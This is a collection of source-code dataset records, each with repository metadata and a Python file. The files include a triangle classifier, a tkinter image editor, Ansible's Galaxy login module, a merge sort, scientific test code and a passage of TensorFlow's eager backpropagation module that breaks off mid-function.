7f5effb36ac00dad195203e6ac8257fce255d6ce | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_145/ch24_2019_04_03_22_28_52_327688.py | 6c0c7ab21be1649606ab09c05cbc3f8ed028a92b | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | def classifica_triangulo(a,b,c):
if a == b and b == c:
return "equilátero"
if a == b and b != c:
return "isósceles"
if a!= b and b != c:
return "escaleno"
| [
"[email protected]"
] | |
92d6f6ca17e33b469cb39f8aa47695ade46268b3 | 2b9914d157d36dfb8a96df10a047ffe630511ba8 | /string_text/insert_var.py | 8b38d2e07fe86ffe769e27ed5aff258e86ce9b25 | [] | no_license | liuxingyuxx/cookbook | 20dce322a09ea5267c68637d66c18d1cec234610 | 3faad3d8fc2c40b648830f4bdc17b99bcc11c5fd | refs/heads/master | 2020-03-14T06:59:29.831430 | 2018-04-29T12:51:55 | 2018-04-29T12:51:55 | 131,494,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | #创建一个内嵌变量的字符串,变量被它的值所表示的字符串替换掉。
#format
s = '{name} has {n} messages'
s_fo = s.format(name='LXY', n='8')
print(s_fo)
#format_map() 与 var()
name = 'LXY_'
n = 9
s_fo_var = s.format_map(vars())
print(s_fo_var)
class Info:
def __init__(self, name, n):
self.name = name
self.n = n
a = Info('Furry', 12)
s__ = s.format_map(vars(a))
print(s__)
| [
"[email protected]"
] | |
8a3b729b6a6bc27ce2e4328b965750b430115181 | 150464efa69db3abf328ef8cd912e8e248c633e6 | /_4.python/tkinter/_example/tk_ex_Image_Editor.py | e890b9404e82f3b701cc5231d8f8fa63a3e4abab | [] | no_license | bunshue/vcs | 2d194906b7e8c077f813b02f2edc70c4b197ab2b | d9a994e3afbb9ea84cc01284934c39860fea1061 | refs/heads/master | 2023-08-23T22:53:08.303457 | 2023-08-23T13:02:34 | 2023-08-23T13:02:34 | 127,182,360 | 6 | 3 | null | 2023-05-22T21:33:09 | 2018-03-28T18:33:23 | C# | UTF-8 | Python | false | false | 3,510 | py | import tkinter as tk
from tkinter import filedialog
from tkinter import colorchooser
from PIL import Image, ImageOps, ImageTk, ImageFilter
from tkinter import ttk
root = tk.Tk()
root.geometry("1000x600")
root.title("Image Drawing Tool")
root.config(bg="white")
pen_color = "black"
pen_size = 5
file_path = ""
def add_image():
global file_path
file_path = filedialog.askopenfilename(
initialdir = 'C:/dddddddddd/____download')
image = Image.open(file_path)
width, height = int(image.width / 2), int(image.height / 2)
image = image.resize((width, height), Image.ANTIALIAS)
canvas.config(width=image.width, height=image.height)
image = ImageTk.PhotoImage(image)
canvas.image = image
canvas.create_image(0, 0, image=image, anchor="nw")
def change_color():
global pen_color
pen_color = colorchooser.askcolor(title="Select Pen Color")[1]
def change_size(size):
global pen_size
pen_size = size
def draw(event):
x1, y1 = (event.x - pen_size), (event.y - pen_size)
x2, y2 = (event.x + pen_size), (event.y + pen_size)
canvas.create_oval(x1, y1, x2, y2, fill=pen_color, outline='')
def clear_canvas():
canvas.delete("all")
canvas.create_image(0, 0, image=canvas.image, anchor="nw")
def apply_filter(filter):
image = Image.open(file_path)
width, height = int(image.width / 2), int(image.height / 2)
image = image.resize((width, height), Image.ANTIALIAS)
if filter == "Black and White":
image = ImageOps.grayscale(image)
elif filter == "Blur":
image = image.filter(ImageFilter.BLUR)
elif filter == "Sharpen":
image = image.filter(ImageFilter.SHARPEN)
elif filter == "Smooth":
image = image.filter(ImageFilter.SMOOTH)
elif filter == "Emboss":
image = image.filter(ImageFilter.EMBOSS)
image = ImageTk.PhotoImage(image)
canvas.image = image
canvas.create_image(0, 0, image=image, anchor="nw")
left_frame = tk.Frame(root, width=200, height=600, bg="white")
left_frame.pack(side="left", fill="y")
canvas = tk.Canvas(root, width=750, height=600)
canvas.pack()
image_button = tk.Button(left_frame, text="Add Image",
command=add_image, bg="white")
image_button.pack(pady=15)
color_button = tk.Button(
left_frame, text="Change Pen Color", command=change_color, bg="white")
color_button.pack(pady=5)
pen_size_frame = tk.Frame(left_frame, bg="white")
pen_size_frame.pack(pady=5)
pen_size_1 = tk.Radiobutton(
pen_size_frame, text="Small", value=3, command=lambda: change_size(3), bg="white")
pen_size_1.pack(side="left")
pen_size_2 = tk.Radiobutton(
pen_size_frame, text="Medium", value=5, command=lambda: change_size(5), bg="white")
pen_size_2.pack(side="left")
pen_size_2.select()
pen_size_3 = tk.Radiobutton(
pen_size_frame, text="Large", value=7, command=lambda: change_size(7), bg="white")
pen_size_3.pack(side="left")
clear_button = tk.Button(left_frame, text="Clear",
command=clear_canvas, bg="#FF9797")
clear_button.pack(pady=10)
filter_label = tk.Label(left_frame, text="Select Filter", bg="white")
filter_label.pack()
filter_combobox = ttk.Combobox(left_frame, values=["Black and White", "Blur",
"Emboss", "Sharpen", "Smooth"])
filter_combobox.pack()
filter_combobox.bind("<<ComboboxSelected>>",
lambda event: apply_filter(filter_combobox.get()))
canvas.bind("<B1-Motion>", draw)
root.mainloop()
| [
"[email protected]"
] | |
07b8a7afb9e5a2d9650d56d56bd5b2392d8e0349 | 1fe0b680ce53bb3bb9078356ea2b25e572d9cfdc | /venv/lib/python2.7/site-packages/ansible/galaxy/login.py | dda856099160cc82d6dd3235e8a4cfc975f305b1 | [
"MIT"
] | permissive | otus-devops-2019-02/devopscourses_infra | 1929c4a9eace3fdb0eb118bf216f3385fc0cdb1c | e42e5deafce395af869084ede245fc6cff6d0b2c | refs/heads/master | 2020-04-29T02:41:49.985889 | 2019-05-21T06:35:19 | 2019-05-21T06:35:19 | 175,780,457 | 0 | 1 | MIT | 2019-05-21T06:35:20 | 2019-03-15T08:35:54 | HCL | UTF-8 | Python | false | false | 4,573 | py | ########################################################################
#
# (C) 2015, Chris Houseknecht <[email protected]>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
########################################################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import getpass
import json
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.module_utils.six.moves import input
from ansible.module_utils.six.moves.urllib.parse import quote as urlquote, urlparse
from ansible.module_utils.six.moves.urllib.error import HTTPError
from ansible.module_utils.urls import open_url
from ansible.utils.color import stringc
from ansible.utils.display import Display
display = Display()
class GalaxyLogin(object):
''' Class to handle authenticating user with Galaxy API prior to performing CUD operations '''
GITHUB_AUTH = 'https://api.github.com/authorizations'
def __init__(self, galaxy, github_token=None):
self.galaxy = galaxy
self.github_username = None
self.github_password = None
if github_token is None:
self.get_credentials()
def get_credentials(self):
display.display(u'\n\n' + "We need your " + stringc("GitHub login", 'bright cyan') +
" to identify you.", screen_only=True)
display.display("This information will " + stringc("not be sent to Galaxy", 'bright cyan') +
", only to " + stringc("api.github.com.", "yellow"), screen_only=True)
display.display("The password will not be displayed." + u'\n\n', screen_only=True)
display.display("Use " + stringc("--github-token", 'yellow') +
" if you do not want to enter your password." + u'\n\n', screen_only=True)
try:
self.github_username = input("GitHub Username: ")
except Exception:
pass
try:
self.github_password = getpass.getpass("Password for %s: " % self.github_username)
except Exception:
pass
if not self.github_username or not self.github_password:
raise AnsibleError("Invalid GitHub credentials. Username and password are required.")
def remove_github_token(self):
'''
If for some reason an ansible-galaxy token was left from a prior login, remove it. We cannot
retrieve the token after creation, so we are forced to create a new one.
'''
try:
tokens = json.load(open_url(self.GITHUB_AUTH, url_username=self.github_username,
url_password=self.github_password, force_basic_auth=True,))
except HTTPError as e:
res = json.load(e)
raise AnsibleError(res['message'])
for token in tokens:
if token['note'] == 'ansible-galaxy login':
display.vvvvv('removing token: %s' % token['token_last_eight'])
try:
open_url('https://api.github.com/authorizations/%d' % token['id'], url_username=self.github_username,
url_password=self.github_password, method='DELETE', force_basic_auth=True)
except HTTPError as e:
res = json.load(e)
raise AnsibleError(res['message'])
def create_github_token(self):
'''
Create a personal authorization token with a note of 'ansible-galaxy login'
'''
self.remove_github_token()
args = json.dumps({"scopes": ["public_repo"], "note": "ansible-galaxy login"})
try:
data = json.load(open_url(self.GITHUB_AUTH, url_username=self.github_username,
url_password=self.github_password, force_basic_auth=True, data=args))
except HTTPError as e:
res = json.load(e)
raise AnsibleError(res['message'])
return data['token']
| [
"[email protected]"
] | |
6bfbed10f2be00a9cd038e8db238272c5ddda73d | bb53e9883437a4df49da1f9646f67ee51f12c4ca | /merge_sort.py | 9d3356371775d88de2d68e6af35b8005a6db0dd4 | [] | no_license | petehwu/python_practice | 513c2260bb7bc34072bd4dafe122e05dfb3baa4c | 31817ec10bc9bddf6ee82400ca7045b5445c55fe | refs/heads/master | 2020-05-24T03:26:11.915327 | 2019-07-17T14:47:11 | 2019-07-17T14:47:11 | 187,072,284 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,315 | py | #!/Users/pwu/anaconda/bin/python3
""" shebang for linux #!/usr/bin/env python3
merge sort algo
"""
def ms(arr):
""" entry point for merge sort
"""
print("before merge sort {}".format(arr))
rms(arr)
print("after merge sort {}".format(arr))
def rms(arr):
""" recursive function that keep splitting the list till 1 element in left and right
"""
mid = len(arr) // 2
if mid > 0:
left = arr[0:mid]
right = arr[mid:]
rms(left)
rms(right)
mergeLR(arr, left, right)
def mergeLR(arr, left, right):
"""merges the left and right into one orderd list
"""
lIdx = 0
rIdx = 0
aIdx = 0
while lIdx < len(left) and rIdx < len(right):
if left[lIdx] < right[rIdx]:
arr[aIdx] = left[lIdx]
lIdx += 1
else:
arr[aIdx] = right[rIdx]
rIdx += 1
aIdx += 1
while lIdx < len(left):
arr[aIdx] = left[lIdx]
lIdx += 1
aIdx += 1
while rIdx < len(right):
arr[aIdx] = right[rIdx]
rIdx += 1
aIdx += 1
if __name__ == '__main__':
ms([20,45,78,23,6,7,2,8,13,77])
print("-----")
ms([1, 2, 3])
print("-----")
ms([1])
print("-----")
ms([1,2])
print("-----")
ms([2, 1])
print("-----")
| [
"[email protected]"
] | |
919286dee2cf3f64c831410581789a79c59e10e6 | 5689947a9648966a92e81bdd693b01ea9026b804 | /archive/Arc.py | 99c67dc806d9ac398ab86c5dbb5096f80f66b1f2 | [] | no_license | Renneta/pyge | 20c44eff9fbdfd01e86f41f23a95196d93d0d6b9 | 747dcbc0dce9890d85834c6d8bd64673a69c767a | refs/heads/master | 2022-04-18T22:53:41.997075 | 2020-03-19T21:37:13 | 2020-03-19T21:37:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 419 | py | import struct
from archive import PygeArchive, GenericEntry
#
# (.arc) Tokoya, I/O
#
# unpack & repack seem to work and give the same filesize, data mod not tested
# since all formats inside the archive are proprietary...
#
class Arc(PygeArchive):
name = "Arc"
desc = "Tokoya / I/O"
sig = "\x01\x00\x00\x00"
ext = "arc"
header_fmt = "<4s4xi4x"
entry_fmt = "<9sii" # 21
entry_order = "nlo"
| [
"[email protected]"
] | |
153da44cc3daa2381d3adda32901329e35184805 | fb5b204943101746daf897f6ff6e0a12985543c3 | /tests/pytests/TestGeneratePoints.py | dcbdfc38cb2ced34da4be7681d7545850dfa7f66 | [
"LicenseRef-scancode-warranty-disclaimer",
"CC0-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | baagaard-usgs/geomodelgrids | 911a31ba23ca374be44873fdeb1e36a70ff25256 | 7d0db3c4ca1a83fea69ceb88f6ceec258928251a | refs/heads/main | 2023-08-03T07:52:25.727039 | 2023-07-27T21:56:19 | 2023-07-27T21:56:19 | 97,262,677 | 5 | 3 | NOASSERTION | 2023-03-23T03:34:45 | 2017-07-14T18:34:38 | C++ | UTF-8 | Python | false | false | 3,722 | py | # ======================================================================
#
# Brad T. Aagaard
# U.S. Geological Survey
#
# ======================================================================
#
import unittest
import numpy
import sys
sys.path.append("../../src/scripts")
from generate_points import App
class TestGeneratePoints(unittest.TestCase):
def setUp(self):
"""Setup test data.
"""
self.data_dir = "data"
self.dataE_dir = "dataE"
self.model_config = None
self.blocksE = None
return
def test_write_surfxy(self):
"""Test writing points on ground surface for topography.
"""
app = App(self.model_config, self.data_dir)
app.run("groundsurf")
groundsurf_filename = "%s/%s-topo-xy.txt.gz" % (self.data_dir, app.model.key)
groundsurf = numpy.loadtxt(groundsurf_filename)
groundsurfE_filename = "%s/%s-topo-xy.txt.gz" % (self.dataE_dir, app.model.key)
groundsurfE = numpy.loadtxt(groundsurfE_filename)
self._check(groundsurfE, groundsurf)
return
def test_write_blocks(self):
"""Test writing points in blocks.
"""
app = App(self.model_config, self.data_dir)
app.run("blocks")
for block_name in self.blocksE:
block_filename = "%s/%s-%s-xyz.txt.gz" % (self.data_dir, app.model.key, block_name)
blockE_filename = "%s/%s-%s-xyz.txt.gz" % (self.dataE_dir, app.model.key, block_name)
block = numpy.loadtxt(block_filename)
blockE = numpy.loadtxt(blockE_filename)
self._check(blockE, block)
return
def _check(self, valuesE, values):
"""Verify arrays match.
"""
shapeE = valuesE.shape
shape = values.shape
self.assertEqual(len(shapeE), len(shape))
for vE,v in zip(shapeE,shape):
self.assertEqual(vE, v)
tolerance = 1.0e-6
okay = numpy.zeros(valuesE.shape, dtype=numpy.bool)
maskRatio = valuesE > tolerance
ratio = numpy.abs(1.0 - values[maskRatio] / valuesE[maskRatio])
if len(ratio) > 0:
okay[maskRatio] = ratio < tolerance
maskDiff = ~maskRatio
diff = numpy.abs(valuesE[maskDiff] - values[maskDiff])
if len(diff) > 0:
okay[maskDiff] = diff < tolerance
if numpy.prod(shapeE) != numpy.sum(okay):
print("Expected values (not okay): %s" % valuesE[okay])
print("Computed values (not okay): %s" % values[okay])
self.assertEqual(numpy.prod(shapeE), numpy.sum(okay))
return
class TestGeneratePointsBlock1(TestGeneratePoints):
"""
Test generate_points for model with 1 layer.
"""
def setUp(self):
"""Set up test data.
"""
TestGeneratePoints.setUp(self)
self.model_config = "dataE/points_one.cfg"
self.blocksE = ["block0"]
return
class TestGeneratePointsBlock2(TestGeneratePoints):
"""
Test generate_points for model with 2 layers.
"""
def setUp(self):
"""Set up test data.
"""
TestGeneratePoints.setUp(self)
self.model_config = "dataE/points_two.cfg"
self.blocksE = ["block0", "block1"]
return
class TestGeneratePointsBlockFlat(TestGeneratePoints):
"""
Test generate_points for model with 1 block and no topography.
"""
def setUp(self):
"""Set up test data.
"""
TestGeneratePoints.setUp(self)
self.model_config = "dataE/points_flat.cfg"
self.blocksE = ["block0"]
return
# End of file
| [
"[email protected]"
] | |
b3eb279fad2d0fe6de009f53bebb90eff761ae81 | 8257985fb7d65bcbd47bb79e493b887679107c8f | /tensorflow/python/eager/backprop.py | ac88f18eba53de2654a2ba88c952cdafb801dd7e | [
"Apache-2.0"
] | permissive | nikky78/tensorflow | 164dce12590ffa7621e5e616450461c912471dcf | bb2f2995db3838e8ab1420b0c766a9d18d40e894 | refs/heads/master | 2021-05-15T00:01:26.069092 | 2017-09-20T13:54:07 | 2017-09-20T13:54:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25,500 | py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Code for backpropagation using the tape utilities."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import threading
import six
from tensorflow.python import pywrap_tensorflow
from tensorflow.python.eager import context
from tensorflow.python.eager import execute
from tensorflow.python.eager import tape
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import tensor_shape
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.util import tf_contextlib
from tensorflow.python.util import tf_inspect
# Terminology:
#
# - op: a possibly composite operation, which has an entry in the tape
# - target: dy in dx/dy
# - source: dx in dx/dy
# - tensor: one of the many inputs or outputs of an operation
#
# Below here we do the gradient algorithm. It works as follows:
#
# First we filter the tape to just the subset of operations we want to
# differentiate. In the process of doing so we count how many times each Tensor
# is used as an input to an op (so we know when we're done computing gradients
# for that Tensor). We also count, for each tape entry, how many of its output
# Tensors need gradients to be computed (Tensors which are not used do not need
# any gradients to be computed).
#
# Finally, we start a backprop stack with a set of tape entries for which we
# have all gradients available. This set usually is a subset of the set of
# targets (not all since targets which have outputs in the tape will not have
# gradients available initially).
#
# Then we repeatedly pop an entry from the stack, run its backprop, and update
# the gradients of its inputs. Once we have computed all gradients for a single
# input we can mark this input as done, and this can trigger adding an entry to
# the stack if all outputs of that entry are now done.
#
# When the stack is empty we have gradients for all tensors we're interested in.
def _prepare_backprop(target, tensor_to_op, op_to_entry, id_sources):
"""Filters the tape to only include relevant entries and counts tensor usages.
Args:
target: the target to optimize.
tensor_to_op: Map from tensor id to key in op_to_entry that produced it.
op_to_entry: Map from op id to a tape.TapeEntry object
id_sources: the ids of the sources wrt the gradient is being taken.
Returns:
usage counts (how many entries downstream from a tensor use it)
op_to_entry_map: entry map (a filtered tape, with only the relevant
entries),
missing: map from tensor id to how many downstream gradients still need
to be computed before this tensor's gradient can be computed.
"""
if isinstance(target, (ops.Tensor)):
tensor_stack = [ops.tensor_id(target)]
else:
tensor_stack = list([ops.tensor_id(x) for x in target])
tensor_usage_counts = {}
o_to_e = {} # Copy of just the bits we need from op_to_entry
while tensor_stack:
t = tensor_stack.pop()
op = tensor_to_op[t]
# op is None if the tensor is a source (i.e. was watched directly)
if op is None or op in o_to_e:
continue
op_trace = op_to_entry[op]
o_to_e[op] = op_trace
for it in op_trace.input_ids:
if it in tensor_usage_counts:
tensor_usage_counts[it] += 1
else:
tensor_usage_counts[it] = 1
if it not in id_sources and it in tensor_to_op:
tensor_stack.append(it)
op_missing_tensor_counts = collections.defaultdict(int)
for t in tensor_usage_counts:
if t in tensor_to_op and tensor_to_op[t] is not None:
op_missing_tensor_counts[tensor_to_op[t]] += 1
return tensor_usage_counts, o_to_e, op_missing_tensor_counts
def _initialize_backprop_stack(op_to_entry, op_missing_tensor):
"""Returns the set of tape entries which are available for backprop."""
ready_ops = []
for op in op_to_entry:
if op not in op_missing_tensor:
ready_ops.append(op)
return ready_ops
def _initial_gradients(target, output_gradients, tensor_usage_counts):
"""Computes the initial gradients for each Tensor."""
# Initialize the backprop stack
gradients = collections.defaultdict(list)
if isinstance(target, ops.Tensor):
if output_gradients is not None:
output_gradient = output_gradients
else:
output_gradient = array_ops.ones_like(target)
gradients[ops.tensor_id(target)].append(output_gradient)
else:
for i, t in enumerate(target):
if ops.tensor_id(t) in tensor_usage_counts:
# Can't provide a gradient of something we're trying to differentiate
assert output_gradients is None or output_gradients[i] is None
else:
if output_gradients is None or output_gradients[i] is None:
out_grad = array_ops.ones_like(t)
else:
out_grad = output_gradients[i]
gradients[ops.tensor_id(t)].append(out_grad)
return gradients
@tf_contextlib.contextmanager
def _no_op():
yield
def _aggregate_grads(gradients):
"""Aggregate gradients from multiple sources.
Args:
gradients: A list of 'Tensor' or 'IndexedSlices' gradients.
Returns:
If 'gradients' only has 'Tensor', returns an aggregated 'Tensor'.
Otherwise returns an aggregated 'IndexedSlices'.
"""
assert gradients, "No gradients to aggregate"
if len(gradients) == 1:
return gradients[0]
if all([isinstance(g, ops.Tensor) for g in gradients]):
return math_ops.add_n(gradients)
else:
assert all([isinstance(g, (ops.Tensor, ops.IndexedSlices))
for g in gradients])
indexed_slices_list = []
for grad in gradients:
# TODO(xpan): Support nested IndexedSlices and core IndexedSlices
if isinstance(grad, ops.Tensor):
indexed_slices = ops.IndexedSlices(
grad,
constant_op.constant(range(grad.shape[0])),
constant_op.constant(grad.shape.as_list()))
indexed_slices_list.append(indexed_slices)
else:
indexed_slices_list.append(grad)
# Dense shapes from all gradients should be the same.
dense_shape = indexed_slices_list[0].dense_shape
# For simplicity now, always cast to int64.
indices = array_ops.concat([math_ops.cast(x.indices, dtypes.int64)
for x in indexed_slices_list], 0)
values = array_ops.concat([x.values for x in indexed_slices_list], 0)
return ops.IndexedSlices(values, indices, dense_shape)
def imperative_grad(
target,
sources,
output_gradients=None):
"""Computes gradients from the imperatively defined tape on top of the stack.
Works by filtering the tape, computing how many downstream usages are of each
tensor and entry, and repeatedly applying backward functions until we have
gradients for all sources.
Args:
target: either a Tensor or list of Tensors to be differentiated.
sources: list of Tensors for which we want gradients
output_gradients: if not None, a list of gradient provided for each Target,
or None if we are to use the target's computed downstream gradient.
Returns:
the gradient wrt each of the sources.
Raises:
RuntimeError: if something goes wrong.
ValueError: if there is no sequence of differentiable operations connecting
a source and any target Tensor. This can happen either if the target is
not computed based on the source, if the tracing was set up incorrectly,
or if only non-differentiable functions of the source were used in the
computation of target.
"""
if not tape._tape_stack.stack: # pylint: disable=protected-access
raise RuntimeError("Computing a gradient with no tape present")
bp_tape = tape.pop_tape()
tensor_to_op, op_to_entry = bp_tape.export()
# This overwrites the op_to_entry variable, which will release all memory used
# to keep traces that are irrelevant to the gradient computation we're doing
# here.
id_sources = [ops.tensor_id(t) for t in sources]
tensor_usage_counts, op_to_entry, op_missing_tensor = _prepare_backprop(
target, tensor_to_op, op_to_entry, id_sources)
ready_ops = _initialize_backprop_stack(op_to_entry, op_missing_tensor)
gradients = _initial_gradients(target, output_gradients,
tensor_usage_counts)
# Now exhaust the backprop stack
while ready_ops:
op = ready_ops.pop()
op_trace = op_to_entry.pop(op)
out_gradients = [gradients.pop(t, None) for t in op_trace.output_ids]
for i in range(len(out_gradients)):
if out_gradients[i] is None:
# TODO(apassos) this should be in the right device
out_gradients[i] = array_ops.zeros(*op_trace.output_shape_and_dtype[i])
else:
out_gradients[i] = _aggregate_grads(out_gradients[i])
in_gradients = op_trace.backward_function(
*(out_gradients + op_trace.side_outputs))
in_gradients = ([in_gradients]
if isinstance(in_gradients, (ops.Tensor,
ops.IndexedSlices,
type(None)))
else in_gradients)
for i, t in enumerate(op_trace.input_ids):
if in_gradients[i] is not None:
gradients[t].append(in_gradients[i])
if tensor_usage_counts.get(t, 0) > 0:
tensor_usage_counts[t] -= 1
if (t in tensor_to_op
and tensor_usage_counts[t] == 0
and t not in id_sources):
in_op = tensor_to_op[t]
if in_op is None:
continue
if op_missing_tensor.get(in_op, 0) > 0:
op_missing_tensor[in_op] -= 1
if op_missing_tensor.get(in_op, 0) == 0:
ready_ops.append(in_op)
result = []
for i, s in enumerate(sources):
g = gradients.get(ops.tensor_id(s), None)
if g is None:
# TODO(apassos): figure out a way to summarize why sources and targets are
# not connected.
raise ValueError("There is no sequence of operations connecting source "
"tensor %s (%s) to any of the target Tensors. This is "
"commonly caused by the tape not recording all "
"operations in the forward pass or if by mistake a "
"source was only used in non-differentiable operations."
% (i, s))
result.append(_aggregate_grads(g))
return result
def op_attr_type(op_type, attr_name):
with errors.raise_exception_on_not_ok_status() as status:
h = context.context()._handle # pylint: disable=protected-access
op = pywrap_tensorflow.TFE_NewOp(h, op_type, status)
attr_type = pywrap_tensorflow.TFE_OpGetAttrType(op, attr_name, status)
return attr_type
def make_attr(attr_type, value):
if attr_type == pywrap_tensorflow.TF_ATTR_TYPE:
return dtypes.as_dtype(value)
elif attr_type == [pywrap_tensorflow.TF_ATTR_TYPE]:
return [dtypes.as_dtype(v) for v in value]
elif attr_type == pywrap_tensorflow.TF_ATTR_SHAPE:
return tensor_shape.as_shape(value).as_proto()
elif attr_type == [pywrap_tensorflow.TF_ATTR_SHAPE]:
return [tensor_shape.as_shape(v).as_proto() for v in value]
return value
class _MockOp(object):
"""Pretends to be a tf.Operation for the gradient functions."""
def __init__(self, attrs, inputs, outputs, typ):
self.attrs = attrs
self.inputs = inputs
self.outputs = outputs
self.type = typ
def get_attr(self, attr):
typ = op_attr_type(self.type, attr)
for i in range(0, len(self.attrs), 2):
if self.attrs[i] == attr:
return make_attr(typ, self.attrs[i + 1])
raise KeyError(attr)
def _magic_gradient_function(op_name, attr_tuple, num_inputs,
inputs, outputs, out_grads):
"""Calls the gradient function of the op.
Args:
op_name: the name of the op to be differentiated.
attr_tuple: the attrs, as a tuple.
num_inputs: the number of inputs to the op.
inputs: inputs to the original operation.
outputs: outputs to the original operation.
out_grads: gradients of the operation wrt its outputs.
Returns:
The gradients with respect to the inputs of the function, as a list.
"""
mock_op = _MockOp(attr_tuple, inputs, outputs, op_name)
grad_fn = ops._gradient_registry.lookup(op_name) # pylint: disable=protected-access
if grad_fn is None:
return [None] * num_inputs
out_grads = [
o if (o is not None) else array_ops.zeros_like(outputs[i])
for i, o in enumerate(out_grads)
]
return grad_fn(mock_op, *out_grads)
_gradient_functions = {}
_gradient_functions_lock = threading.Lock()
_tracing = False
# TODO(apassos) replace this with a mechanism which can happen at the op
# gradient function registration site, to be less error-prone
# TODO(apassos) add ops other than those in nn_grad and math_grad
_ops_which_dont_need_outputs = set([
"MatMul",
"Conv2DBackpropInput",
"Conv2DBackpropFilter",
"Conv3D",
"Conv3DBackpropInputV2",
"AvgPool3D",
"AvgPool3DGrad",
"MaxPool3D",
"MaxPool3DGrad",
"MaxPool3DGradGrad",
"BiasAdd",
"BiasAddV1",
"BiasAddGrad",
"Relu6",
"Softplus",
"SoftplusGrad",
"Softsign",
"ReluGrad",
"Conv2D",
"DepthwiseConv2dNative",
"Dilation2D",
"AvgPool",
"AvgPoolGrad",
"BatchNormWithGlobalNormalization",
"L2Loss",
"Sum",
"Prod",
"SegmentSum",
"SegmentMean",
"SparseSegmentSum",
"SparseSegmentMean",
"SparseSegmentSqrtN",
"SegmentMin",
"SegmentMax",
"UnsortedSegmentSum",
"UnsortedSegmentMax",
"Abs",
"Neg",
"ReciprocalGrad",
"Square",
"Expm1",
"Log",
"Log1p",
"TanhGrad",
"SigmoidGrad",
"Sign",
"Sin",
"Cos",
"Tan",
"Add",
"Sub",
"Mul",
"Div",
"RealDiv",
"Pow",
"Maximum",
"Minimum",
"SquaredDifference",
"Select",
"SparseMatMul",
"BatchMatMul",
"Complex",
"Real",
"Imag",
"Angle",
"Conj",
"Cast",
"Cross",
"Cumsum",
"Cumprod",
"ReadVariableOp",
"VarHandleOp",
"Shape",
])
_ops_which_dont_need_inputs = set([
"Softmax",
"LogSoftmax",
"BiasAdd",
"Relu",
"Elu",
"Selu",
"SparseSoftmaxCrossEntropyWithLogits",
"Neg",
"Inv",
"Reciprocal",
"Sqrt",
"Exp",
"Tanh",
"Sigmoid",
"Real",
"Imag",
"Conj",
"ReadVariableOp",
"VarHandleOp",
"Shape",
])
def _record_gradient(op_name, inputs, attrs, results, name):
"""Records gradients for a TensorFlow operation.
Args:
op_name: Name of the TensorFlow operation (see REGISTER_OP in C++ code) to
execute.
inputs: A flat list of Tensor object inputs to the operation.
attrs: A tuple with alternating string attr names and attr values for this
operation.
results: The results of the operation (as a flat list).
name: Customized name for the operation.
Returns:
A list of maybe-wrapped results. Either Tensors or TensorNodes.
Raises:
An exception on error.
"""
if not tape.could_possibly_record():
return
if op_name in _ops_which_dont_need_outputs:
op_outputs = None
else:
# TODO(apassos) this line creates a weak circular reference where the
# backprop function keeps an output alive which in turn keeps the tape entry
# alive which keeps the backprop function alive. Figure out how to break
# this up without breaking second derivatives of ops like Exp whose
# gradients depend only on the outputs.
op_outputs = results
if op_name in _ops_which_dont_need_inputs:
op_inputs = None
else:
op_inputs = inputs
num_inputs = len(inputs)
def grad_fn(*orig_outputs):
"""Generated gradient function."""
result = _magic_gradient_function(op_name, attrs, num_inputs,
op_inputs, op_outputs, orig_outputs)
if _tracing:
print("Gradient for", (name if name else op_name), "inputs", op_inputs,
"output_grads", orig_outputs, "gradients", result)
return result
inputs = [ops.convert_to_tensor(x) for x in inputs]
tape.record_operation(results, inputs, [], grad_fn)
if _tracing:
print("Computed op", (name if name else op_name), "inputs", inputs,
"outputs", results)
execute.record_gradient = _record_gradient
def implicit_val_and_grad(f):
"""Returns a function which differentiates f with respect to variables.
The wrapped function returns the value and the gradient of f when called with
the same arguments. The gradient is with respect to all TFE variables which
have `variable.watch()` called on them by f.
This function is useful when the exact set of variables to differentiate with
is not known ahead of time.
Example:
```python
dense_layer = tf.layers.Dense(1)
def loss(x, y):
return tf.reduce_sum(tf.square(dense_layer(x) - y))
# Obtain the gradient function.
val_grad_fn = tfe.implicit_value_and_gradients(loss)
# Invoke the gradient function with concrete values of x and y.
x = tf.constant([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])
y = tf.constant([[10.0], [20.0]])
value, grads_and_vars = val_grad_fn(x, y)
print('Value of loss: %s' % value)
# Apply the gradients to Variables.
optimizer = tf.train.GradientDescentOptimizer(0.1)
optimizer.apply_gradients(grads_and_vars)
```
Args:
f: The function to be differentiated.
Returns:
A function which, when called, returns a tuple pair.
Its first element is the value to which the function evaluates.
Its second element is list of (gradient, variable) pairs.
"""
# TODO(cais): Remove calls to tf.constant() once the gradients functions
# accept lists and np.ndarrays.
def grad_fn(*args):
